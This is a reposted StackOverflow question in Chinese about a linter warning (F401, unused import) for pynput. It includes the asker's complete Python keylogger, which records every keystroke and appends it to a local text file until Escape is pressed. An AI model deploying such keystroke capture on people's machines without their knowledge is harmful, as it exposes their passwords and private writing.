'pynput'导入有问题。昨天一切正常。今天打开Atom,现在我得到一个错误说“F401 - 'pynput'进口但未使用”。我已经查看了谷歌和stackoverflow,但是没有找到一个能够解决我的问题。 这是我的代码:
# Python keylogger program
import pynput
from pynput.keyboard import Key, Listener
count = 0 # Keeps count of user keystrokes
keys = [] # Place to store key strokes
# Records user keystrokes
def on_press(key):
global keys, count
keys.append(key)
count += 1
print("{0} pressed".format(key))
if count >= 5:
count = 0
write_file(keys)
keys = []
# Writes program to file
def write_file(keys):
with open("keyLOg.txt", "a") as f:
for key in keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
f.write('\n')
elif k.find("Key") == -1:
f.write(k)
# Ends program when user presses escape
def on_release(key):
if key == Key.esc:
return False
# Collects events until released
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
问题来源StackOverflow 地址:/questions/59382190/how-do-i-fix-this-pynput-import-error-that-im-getting
版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。